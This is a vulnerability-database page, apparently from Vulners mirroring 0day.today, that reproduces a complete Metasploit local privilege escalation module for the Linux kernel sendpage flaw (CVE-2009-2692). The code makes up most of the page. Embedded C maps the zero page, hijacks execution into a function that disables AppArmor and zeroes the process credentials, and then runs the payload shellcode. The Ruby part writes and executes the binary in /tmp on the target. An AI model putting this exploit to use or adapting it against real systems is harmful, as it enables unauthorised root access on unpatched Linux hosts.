Lucene search
K

Linux Kernel Sendpage Local Privilege Escalation

🗓️ 19 Jul 2012 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 61 Views

Linux Kernel Sendpage Local Privilege Escalation AKA Wunderbar Emporiu

Related
Code
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
 
#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
 
class Metasploit4 < Msf::Exploit::Local
    Rank = ExcellentRanking
 
    include Msf::Exploit::EXE
    include Msf::Post::File
    include Msf::Post::Common
 
    include Msf::Exploit::Local::LinuxKernel
    include Msf::Exploit::Local::Linux
    include Msf::Exploit::Local::Unix
 
    def initialize(info={})
        super( update_info( info, {
                'Name'          => 'Linux Kernel Sendpage Local Privilege Escalation',
                'Description'   => %q{
                    AKA Wunderbar Emporium
                },
                'License'       => MSF_LICENSE,
                'Author'        =>
                    [
                        'spender',        # wunderbar_emporium.tgz
                        'rcvalle',        # sock_sendpage.c
                        'egypt'           # metasploit module
                    ],
                'Platform'      => [ 'linux' ],
                'Arch'          => [ ARCH_X86 ],
                'SessionTypes'  => [ 'shell', 'meterpreter' ],
                'References'    =>
                    [
                        [ 'CVE', '2009-2692' ],
                        [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
                        [ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
                    ],
                'Targets'       =>
                    [
                        [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
                        #[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
                    ],
                'DefaultTarget' => 0,
            }
            ))
    end
 
    def exploit
        sc = Metasm::ELF.new(@cpu)
        sc.parse %Q|
            #define DEBUGGING
            #define NULL ((void*)0)
            #ifdef __ELF__
                .section ".bss" rwx
                .section ".text" rwx
                .entrypoint
            #endif
            call main
            ;push eax
            call exit
        |
 
        # Set up the same include order as the bionic build system.
        # See external/source/meterpreter/source/bionic/libc/Jamfile
        cparser.lexer.include_search_path = [
            "external/source/meterpreter/source/bionic/libc/include/",
            "external/source/meterpreter/source/bionic/libc/private/",
            "external/source/meterpreter/source/bionic/libc/bionic/",
            "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
            "external/source/meterpreter/source/bionic/libc/kernel/common/",
            "external/source/meterpreter/source/bionic/libc/arch-x86/include/",
        ]
 
        cparser.parse(%Q|
            #define DEBUGGING
            // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
            #ifndef __extension__
            #define __extension__
            #endif
            // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
            // Doing #if on an undefined macro is fine in GCC, but a parse error in
            // metasm.
            #ifndef __STDC__
            #define __STDC__ 0
            #endif
            #include <sys/types.h>
            #include <sys/mman.h>
            #include <stdarg.h>
            #include <stdio.h>
            #include <unistd.h>
            #include <errno.h>
            /*
            OpenBSD's strcmp from string/strcmp.c in bionic
            */
            int
            strcmp(const char *s1, const char *s2)
            {
                while (*s1 == *s2++)
                    if (*s1++ == 0)
                        return (0);
                return (*(unsigned char *)s1 - *(unsigned char *)--s2);
            }
        |)
 
        [
            "external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
            "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
            "external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
            "external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
            # This parses without any trouble, but actually calling perror() causes
            # immediate segfaults.
            #"external/source/meterpreter/source/bionic/libc/unistd/perror.c",
 
            # For some ungodly reason, NULL ends up being undefined when parsing this
            # guy, which of course causes parse errors.
            #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",
 
        ].each do |fname|
            print_status("Parsing c file #{fname}")
            cparser.parse(File.read(fname), fname)
        end
 
        print_status("Unix socket.h")
        unix_socket_h(sc)
        current_task_struct_h(sc)
 
        case target.arch.first
        when ARCH_X86
        print_status("syscall wrappers")
            linux_x86_syscall_wrappers(sc)
            main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif
 
#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
    PF_BLUETOOTH,
    PF_APPLETALK,
    PF_IPX,
    PF_IRDA,
    PF_X25,
    PF_AX25,
    PF_BLUETOOTH,
    PF_PPPOX,
    DOMAINS_STOP
    };
 
int *apparmor_enabled;
 
int got_ring0 = 0;
unsigned long uid, gid;
 
static unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;
 
    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL) {
            printf("Unable to obtain symbol listing!\n");
            return 0;
        }
    }
 
    ret = 0;
    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            printf(" [+] Resolved %s to %p\n", name, (void *)addr);
            fclose(f);
            return addr;
        }
    }
 
    fclose(f);
    return 0;
}
 
 
static void
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (task_struct[0] == uid && task_struct[1] == uid &&
                task_struct[2] == uid && task_struct[3] == uid &&
                task_struct[4] == gid && task_struct[5] == gid &&
                task_struct[6] == gid && task_struct[7] == gid) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return;
}
 
int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{
 
    got_ring0 = 1;
    if (apparmor_enabled && *apparmor_enabled) {
        *apparmor_enabled = 0;
    }
    change_cred();
    return -1;
}
 
const char *shellcode =
"";
int shellcode_size = 0;
 
int main() {
    int i = 0;
    int d;
    int in_fd, out_fd;
    char *mapped;
    char template[] = "/tmp/sendfile.XXXXXX";
    int (*func)();
 
    uid = getuid(), gid = getgid();
 
    mapped = mmap(NULL , 0x1000,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
            0, 0
        );
    if (mapped == NULL) {
        printf("Mapped zero page!\n");
    } else {
        exit(1);
    }
 
    // jmp dword near [dword 0x8]
    mapped[0] = '\xff';
    mapped[1] = '\x25';
    *(unsigned long *)&mapped[2] = 8;
    *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;
 
    for (i = 0; i < 16; i++) {
        printf("\\\\x%02x", (unsigned char)mapped[i]);
    }
    printf("\n");
 
    for (d = 0; domains[d] != DOMAINS_STOP; d++) {
        //printf("Next domain ... ");
        out_fd = socket(domains[d], SOCK_DGRAM, 0);
        if (out_fd > 0) {
            printf("Got domain[%d]\n", d);
            break;
        }
        if (out_fd < 0) {
            printf("out_fd: %d, Errno: %d\n", out_fd, errno);
            exit(1);
        }
    }
    unlink(template);
    // Couldn't get mkstemp to work, just use open(2) for now
    in_fd = open(template, O_CREAT | O_RDWR, 0777);
    printf("Opened temp file: %d\n", in_fd);
    unlink(template);
    printf("Calling ftruncate\n");
    ftruncate(in_fd, 4096);
 
    printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
    printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
    sendfile(out_fd, in_fd, NULL, 4096);
    printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
    printf("UID: %d GID: %d\n", getuid(), getgid());
 
    func = mmap(NULL, 0x1000,
            PROT_READ | PROT_WRITE | PROT_EXEC,
            MAP_PRIVATE | MAP_ANONYMOUS,
            0, 0
        );
    mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
    // weaksauce memcpy so we don't have to #include <string.h>
    printf("Copying %d bytes of shellcode\n", shellcode_size);
    for (i = 0; i < shellcode_size; i++) {
        (char)func[i] = (char)shellcode[i];
    }
    printf("Calling shellcode: 0x%p\n", func);
    //sigtrap();
    func();
 
    return got_ring0;
}
^
            main.gsub!(/shellcode =/) do
                # split the payload into 16-byte chunks and dump it out as a
                # hex-escaped C string
                %Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
            end
            main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
            cparser.parse(main, "main.c")
 
            asm = cpu.new_ccompiler(cparser, sc).compile
 
            sc.parse asm
        end
 
        sc.assemble
 
        begin
            if sc.kind_of? Metasm::ELF
                elf = sc.encode_string
            else
                foo = sc.encode_string
                elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
            end
        rescue
            print_error "Metasm Encoding failed: #{$!}"
            elog "Metasm Encoding failed: #{$!.class} : #{$!}"
            elog "Call stack:\n#{$!.backtrace.join("\n")}"
            return
        end
 
        #puts Rex::Text.to_hex_dump(foo)
        File.open("payload.bin", "wb") {|fd|
            fd.write elf
        }
        print_status "Writing exploit executable (#{elf.length} bytes)"
        cmd_exec("rm /tmp/sendpage")
        write_file("/tmp/sendpage", elf)
        output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
        output.each_line { |line| print_debug line.chomp }
        #cmd_exec("rm /tmp/sendpage")
 
    end
 
end



#  0day.today [2018-03-28]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jul 2012 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.17556
61